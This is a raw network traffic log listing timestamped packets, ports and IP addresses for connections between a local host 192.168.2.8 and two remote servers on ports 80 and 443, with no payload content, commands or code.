Nov 20, 2024 03:20:51.358161926 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:51.358170033 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.358206034 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:51.358247995 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.358323097 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:51.361471891 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:51.600574970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:51.601927996 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.185982943 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:52.185982943 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:52.186008930 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:52.186014891 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:52.396686077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.401967049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402030945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402065992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402117968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402129889 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402154922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402193069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402218103 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402245998 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402278900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402302027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402329922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402369976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402386904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402422905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402429104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402476072 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402529001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402530909 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402560949 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402594090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402617931 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402654886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402704954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402707100 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402760983 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402806044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.402812958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402863026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402895927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402945042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.402980089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403007030 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403007030 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403012991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403048038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403079987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403089046 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403112888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403146029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403162003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403178930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403270006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403279066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403332949 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403353930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403404951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403440952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403460026 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403474092 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403506994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403523922 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403538942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403585911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403620005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403652906 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403685093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403693914 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403693914 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403718948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403747082 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403767109 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403800011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403837919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403872013 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403919935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403928041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403928041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.403954029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.403987885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404035091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404042959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404043913 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404071093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404103994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404124975 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404136896 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404170036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404191971 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404201984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404233932 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404268026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404294968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404300928 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404311895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404333115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404350996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404383898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404387951 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404417992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404452085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404467106 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404484034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404489994 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404515982 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404547930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404587984 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404588938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404637098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404670000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404675961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404702902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404735088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404740095 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404786110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404819012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404843092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404853106 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404886007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404918909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.404932976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404932976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.404969931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405003071 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405026913 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405035019 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405100107 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405133009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405138969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405184984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405222893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405256987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405289888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405302048 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405302048 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405323029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405333042 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405355930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405390024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405421972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405455112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405469894 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405469894 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405488014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405520916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405534983 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405555010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405586958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405618906 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405653000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405673981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405673981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405684948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405718088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405767918 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405802965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405808926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405808926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405836105 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405869007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405905008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405941963 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.405953884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.405986071 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406029940 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406029940 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406035900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406068087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406101942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406133890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406143904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406168938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406188011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406203032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406235933 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406267881 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406289101 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406301022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406333923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406358004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406368971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406402111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406421900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406446934 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406446934 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406452894 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406486988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406519890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406528950 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406553030 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406584978 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406589031 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406619072 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406651020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406660080 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406683922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406701088 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406729937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406764030 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406788111 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406795979 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406827927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406860113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406874895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406894922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406924009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406927109 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406960011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.406975031 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.406992912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407026052 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407058001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407090902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407123089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407134056 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407134056 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407157898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407191038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407197952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407224894 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407257080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407290936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407290936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407305002 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407341957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407378912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407407045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407411098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407444000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407465935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407476902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407511950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407543898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407577991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407591105 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407610893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407627106 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407644987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407666922 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407677889 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407711983 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407743931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407756090 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407778025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407798052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407809973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407844067 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407876015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407908916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407913923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407942057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.407965899 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.407983065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408016920 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408026934 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408052921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408057928 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408085108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408118963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408150911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408183098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408215046 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408236027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408236027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408248901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408281088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408301115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408313990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408333063 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408346891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408380985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408411980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408428907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408459902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408492088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408499956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408525944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408559084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408591986 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408596992 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408596992 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408624887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408659935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408660889 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408691883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408727884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408755064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408761024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408792973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408826113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408858061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408879995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.408890009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408924103 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408957005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.408989906 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409002066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409002066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409002066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409023046 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409055948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409089088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409096956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409121990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409153938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409188032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409219980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409235954 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409235954 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409255028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409300089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409318924 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409332991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409343004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409364939 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409399033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409411907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409430981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409463882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409496069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409528971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409560919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409594059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409615993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409615993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409626007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409658909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409662008 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409662008 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.409693003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.409763098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.628670931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.628784895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.663510084 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.668720961 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.668760061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.668793917 CET	80	49715	185.215.113.16	192.168.2.8
